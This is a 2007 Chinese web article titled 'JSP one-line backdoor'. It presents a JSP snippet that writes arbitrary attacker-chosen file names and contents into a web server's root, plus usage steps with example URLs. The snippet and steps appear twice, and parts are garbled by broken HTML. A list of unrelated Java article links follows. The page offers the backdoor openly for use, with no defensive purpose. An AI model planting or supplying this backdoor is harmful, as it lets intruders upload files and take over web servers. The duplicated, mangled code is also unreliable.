JSP一句話后門
更新時間：2007年02月09日 00:00:00 作者：
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
相關(guān)文章
這篇文章主要介紹了Spring AOP 基于注解詳解及實(shí)例代碼的相關(guān)資料,需要的朋友可以參考下2017-04-04
用簡單的代碼來實(shí)現(xiàn)文件上傳...2006-10-10
IIS6+TOMCAT整合,實(shí)戰(zhàn)實(shí)例!
IIS6+TOMCAT整合,實(shí)戰(zhàn)實(shí)例!...2007-02-02
Javaweb工程運(yùn)行報(bào)錯HTTP Status 404解決辦法
這篇文章主要介紹了Javaweb工程運(yùn)行報(bào)錯HTTP Status 404解決辦法，文中通過示例介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07
這篇文章主要介紹了JAVA velocity模板引擎使用實(shí)例,需要的朋友可以參考下2014-04-04
本文介紹了servlet分頁代碼實(shí)現(xiàn)，采用Oracle數(shù)據(jù)庫，獲取SCOTT用戶EMP表中的數(shù)據(jù)，分頁實(shí)現(xiàn)步驟看下面代碼2014-01-01
JSP由淺入深(11)—— 標(biāo)記庫...2006-10-10
這篇文章主要介紹了JSP的setProperty的使用方法的相關(guān)資料,希望通過本文能幫助到大家，讓大家理解應(yīng)用setProperty,需要的朋友可以參考下2017-10-10
Spring AOP切面解決數(shù)據(jù)庫讀寫分離實(shí)例詳解
這篇文章主要介紹了Spring AOP切面解決數(shù)據(jù)庫讀寫分離實(shí)例詳解的相關(guān)資料,需要的朋友可以參考下2017-05-05
jsp Unsupported encoding: gb2312 錯誤原因
今天做了一個JSP頁面，運(yùn)行時tomcat提示：org.apache.jasper.JasperException: Unsupported encoding: gb2312 錯誤，找了很久才找到出錯的地方，原來是一個空格惹的禍。2009-06-06